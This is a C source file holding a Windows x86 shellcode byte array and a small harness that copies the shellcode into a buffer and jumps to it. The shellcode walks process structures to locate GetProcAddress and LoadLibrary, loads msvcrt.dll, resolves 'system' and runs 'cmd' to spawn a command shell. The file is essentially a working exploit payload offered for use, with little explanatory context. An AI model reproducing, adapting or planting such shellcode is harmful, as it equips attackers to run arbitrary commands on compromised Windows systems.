

char shellcode [] = 
"\x55\x89\xe5\x89\xec\x83\xec\x20\x6a\x30\x5a\x64\x8b\x12\x8b\x42\x0c\x8b\x70\x1c"
"\x8b\x06\x8b\x50\x08\x89\x55\xfc\x8b\x52\x3c\x03\x55\xfc\x8b\x52\x78\x03\x55\xfc"
"\x89\x55\xf8\x03\x4d\xfc\x31\xc0\x89\x45\xf4\x89\x45\xf0\x89\x45\xec\x89\x45\xe8"
"\x8b\x55\xf8\x83\xc2\x20\x8b\x12\x03\x55\xfc\x89\x55\xe8\xeb\x5e\xc9\xc3\x31\xc9"
"\x39\x4d\xf4\x75\x6b\x8b\x5d\xe8\x8b\x1b\x03\x5d\xfc\x81\x3b\x47\x65\x74\x50\x75"
"\x5b\x81\x7b\x04\x72\x6f\x63\x41\x75\x52\x8b\x4d\xec\x89\x4d\xf4\x31\xc9\x85\x4d"
"\xf0\x75\x46\xc3\x31\xc9\x39\x4d\xf0\x75\x3d\x8b\x5d\xe8\x8b\x1b\x03\x5d\xfc\x81"
"\x3b\x4c\x6f\x61\x64\x75\x2d\x81\x7b\x04\x4c\x69\x62\x72\x75\x24\x8b\x4d\xec\x89"
"\x4d\xf0\x31\xc9\x39\x4d\xf4\x75\x18\xc3\xe8\x9f\xff\xff\xff\xe8\xc8\xff\xff\xff"
"\x66\x83\x45\xe8\x04\x66\x83\x45\xec\x01\xeb\xea\xc3\x8b\x5d\xf4\x6b\xdb\x04\x89"
"\x5d\xf4\x8b\x5d\xf0\x6b\xdb\x04\x89\x5d\xf0\x8b\x5d\xf8\x83\xc3\x1c\x8b\x1b\x03"
"\x5d\xfc\x89\xd9\x03\x4d\xf4\x8b\x09\x03\x4d\xfc\x89\x4d\xf4\x89\xd9\x03\x4d\xf0"
"\x8b\x09\x03\x4d\xfc\x89\x4d\xf0\xeb\x46\x41\x8a\x39\x80\xff\x0a\x75\xf8\x31\xdb"
"\x88\x19\xc3\x5f\x31\xdb\x88\x5f\x0a\x88\x5f\x11\x89\xf9\x83\xc1\x12\xe8\xe0\xff"
"\xff\xff\x31\xdb\x57\xff\x55\xf0\x39\xd8\x0f\x84\x24\xff\xff\xff\x83\xc7\x0b\x57"
"\x50\xff\x55\xf4\x39\xd8\x0f\x84\x14\xff\xff\xff\x83\xc7\x07\x57\xff\xd0\xc9\xc3"
"\xe8\xc2\xff\xff\xff"
"msvcrt.dllAsystemA"
"cmd\n";

char buffer[1024];

int main()
{
	int (*f)() = buffer;

	strcpy(buffer,shellcode); // not secure  :)
	printf("Copy of  shellcode (%d octets)\n", sizeof(shellcode));	
	f();
}
